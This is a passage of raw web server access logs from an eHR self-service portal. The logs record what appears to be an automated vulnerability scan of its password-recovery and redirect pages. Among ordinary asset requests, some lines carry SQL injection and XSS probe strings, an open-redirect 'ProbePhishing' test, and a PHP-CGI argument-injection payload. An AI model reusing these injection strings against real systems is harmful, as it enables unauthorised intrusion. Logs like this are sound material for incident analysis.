10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.phpablcprobepa000009ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "ablcprobepa000006ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=WF%27SQL%22Probe%3BA--B&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=WF%27SQL%22Probe%3BA--B&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "ablcprobepa000008ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "ablcprobepa000007ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=WF%27SQL%22Probe%3BA--B HTTP/1.1" 200 6694 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=WF%27SQL%22Probe%3BA--B HTTP/1.1" 200 6694 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "ablcprobepa000004ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27Aablcprobepa000006ab%27%22A" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "ablcprobepa000009ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27%22&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27%22&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/redirect.php?scriptname=ProbePhishing&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/redirect.php?scriptname=ProbePhishing&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=ProbePhishing&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php%22%27Aablcprobepa000008ab%27%22A" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%22 HTTP/1.1" 200 6682 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%22 HTTP/1.1" 200 6682 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "ablcprobepa000007ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "%22%27Aablcprobepa000004ab%27%22A" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "ablcprobepa000009ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "%22%27Aablcprobepa000004ab%27%22A" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 